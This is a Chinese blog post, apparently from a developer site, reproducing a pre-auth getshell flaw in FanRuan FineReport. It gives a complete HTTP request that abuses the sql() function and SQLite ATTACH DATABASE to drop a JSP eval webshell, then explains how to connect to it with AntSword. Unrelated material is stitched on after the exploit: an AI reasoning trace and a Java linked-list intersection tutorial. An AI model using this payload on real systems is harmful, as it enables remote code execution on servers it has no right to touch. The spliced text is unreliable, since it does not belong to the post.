[漏洞复现]最新帆软前台getshell漏洞及优化poc

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

前言

昨天看到各个地方都在发帆软的漏洞,看到poc后发现利用姿势应该是之前就有的,并且网上传的poc是写绝对路径,其实传相对路径就可以getshell。所以我们就对poc进行了一些小小的优化:

1、相对路径写入,可利用的环境更广,可无视系统和版本写入。

2、payload较短,直接蚁剑利用。

漏洞复现

漏洞原理y4tacker师傅也在自己的博客做了分享:某软Report高版本中利用的一些细节 (y4tacker.github.io)

我们这边主要对poc进行小小的优化。

GET /webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

发送漏洞poc

漏洞利用成果后,写入文件为/webroot/aaa.jsp

可以利用蚁剑进行连接,添加get参数?a=javax.script.ScriptEngineManager,蚁剑连接密码为b,连接类型选择JSPJS

<think>好的,我现在需要帮助用户了解如何用Java判断两个链表是否相交。首先,我得回想一下链表相交的定义。链表相交指的是两个链表在某个节点之后合并,形成共同的部分。也就是说,从相交节点开始,后续的所有节点都是相同的,直到链表结束。 接下来,我得确定用户的需求。用户可能正在学习数据结构,或者在面试准备中遇到了这个问题。他们需要具体的实现方法,而不仅仅是理论上的解释。因此,我应该提供清晰的思路和代码示例,同时考虑时间和空间复杂度。 首先,我得回顾常见的解决方法。常见的方法有两种:哈希表法和双指针法。哈希表法的思路是遍历第一个链表,将每个节点的引用存入哈希表,然后遍历第二个链表,检查是否有节点存在于哈希表中。这种方法的时间复杂度是O(m+n),空间复杂度也是O(m+n),其中m和n分别是两个链表的长度。 另一种方法是双指针法,也称为“走尾指针法”。这种方法不需要额外空间,时间复杂度同样是O(m+n)。具体步骤是:首先遍历两个链表,找到各自的尾节点,并记录长度。如果尾节点不同,说明不相交;如果相同,则计算两个链表的长度差,让较长的链表的指针先移动差值步,然后两个指针同时移动,直到相遇,相遇点即为相交节点。 用户可能更倾向于高效的方法,尤其是空间复杂度低的解决方案。因此,我应该重点解释双指针法,因为它更优。同时,我需要考虑链表可能存在的环的情况,但通常在这种情况下,题目假设链表无环,所以可能不需要处理环的问题,但最好在注意事项中提及。 然后,我需要考虑如何用Java实现双指针法。首先,定义链表节点的结构,通常是一个包含数据和next指针的类。然后,编写函数来检查相交。具体步骤包括遍历链表获取长度和尾节点,比较尾节点是否相同,调整指针起点,同步遍历直到找到相同节点。 在代码实现中,需要注意边界情况,例如其中一个链表为空,或者两个链表长度相差较大。此外,测试用例的构造也很重要,例如创建相交的链表和不相交的链表来验证代码的正确性。 可能用户还会有疑问,比如如何处理有环的情况,或者是否有其他方法。虽然问题通常假设链表无环,但可以简要说明如果有环的话需要先检测环,然后再处理相交的问题,但这会增加复杂度。 最后,总结思路和步骤,确保用户能够理解并实现该算法。同时,强调时间和空间复杂度,帮助用户评估不同方法的优劣。</think>--- 要判断两个链表是否相交,关键在于找到**相交节点**(两个链表的公共节点)。Java中可通过以下两种方法实现: --- ### 方法一:哈希表法 **核心思路**:遍历链表A,将所有节点存入哈希表,再遍历链表B,检查节点是否存在于哈希表中。 **时间复杂度**:$O(m + n)$,空间复杂度:$O(m)$(m、n为链表长度) ```java import java.util.HashSet; public class LinkedListIntersection { static class ListNode { int val; ListNode next; ListNode(int x) { val = x; } } public ListNode getIntersectionNode(ListNode headA, ListNode headB) { HashSet<ListNode> visited = new HashSet<>(); // 遍历链表A,存储所有节点 while (headA != null) { visited.add(headA); headA = headA.next; } // 遍历链表B,检查哈希表 while (headB != null) { if (visited.contains(headB)) { return headB; } headB = headB.next; } return null; } } ``` --- ### 方法二:双指针法(推荐) **核心思路**: 1. 若两链表相交,则**尾节点必相同** 2. 计算两链表长度差,对齐起点后同步遍历 **时间复杂度**:$O(m + n)$,空间复杂度:$O(1)$ ```java public class LinkedListIntersection { static class ListNode { int val; ListNode next; ListNode(int x) { val = x; } } public ListNode getIntersectionNode(ListNode headA, ListNode headB) { if (headA == null || headB == null) return null; // 计算链表A和B的长度 int lenA = getLength(headA), lenB = getLength(headB); // 对齐起点:长链表先走差值步 ListNode pA = headA, pB = headB; if (lenA > lenB) { for (int i = 0; i < lenA - lenB; i++) pA = pA.next; } else { for (int i = 0; i < lenB - lenA; i++) pB = pB.next; } // 同步遍历找交点 while (pA != null && pB != null) { if (pA == pB) return pA; pA = pA.next; pB = pB.next; } return null; } private int getLength(ListNode node) { int len = 0; while (node != null) { len++; node = node.next; } return len; } } ``` --- ### 方法三:巧妙双指针遍历(无长度计算) **核心思想**:两指针分别遍历A+B和B+A路径,最终会在交点相遇(若存在)。 ```java public ListNode getIntersectionNode(ListNode headA, ListNode headB) { if (headA == null || headB == null) return null; ListNode pA = headA, pB = headB; // 当pA和pB走过相同路径长度时: // - 若相交,会在交点相遇 // - 若不相交,最终同时为null退出循环 while (pA != pB) { pA = (pA == null) ? headB : pA.next; pB = (pB == null) ? headA : pB.next; } return pA; } ``` --- ### 验证相交的关键条件 1. **尾节点相同**:若两链表尾节点不同,则一定不相交 2. **节点引用相同**:判断相交的依据是节点对象地址相同,而非值相等 --- ### 测试用例示例 ```java public static void main(String[] args) { // 构造相交链表 ListNode common = new ListNode(8); common.next = new ListNode(4); common.next.next = new ListNode(5); ListNode headA = new ListNode(4); headA.next = new ListNode(1); headA.next.next = common; ListNode headB = new ListNode(5); headB.next = new ListNode(6); headB.next.next = new ListNode(1); headB.next.next.next = common; // 调用方法判断 ListNode result = getIntersectionNode(headA, headB); System.out.println(result != null ? "相交节点值:" + result.val : "不相交"); } ``` --- ### 复杂度对比 | 方法 | 时间复杂度 | 空间复杂度 | 适用场景 | |------------|------------|------------|--------------------| | 哈希表法 | $O(m+n)$ | $O(m)$ | 需要快速实现 | | 双指针法 | $O(m+n)$ | $O(1)$ | 内存敏感场景 | | 路径对齐法 | $O(m+n)$ | $O(1)$ | 代码简洁,无需长度 | --- ### 注意事项 1. 若链表可能有环,需先检测环再判断相交(经典相交问题通常假设无环) 2. 节点值可以重复,判断依据是节点引用地址相同而非值相等 3. 空链表直接返回`null`
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值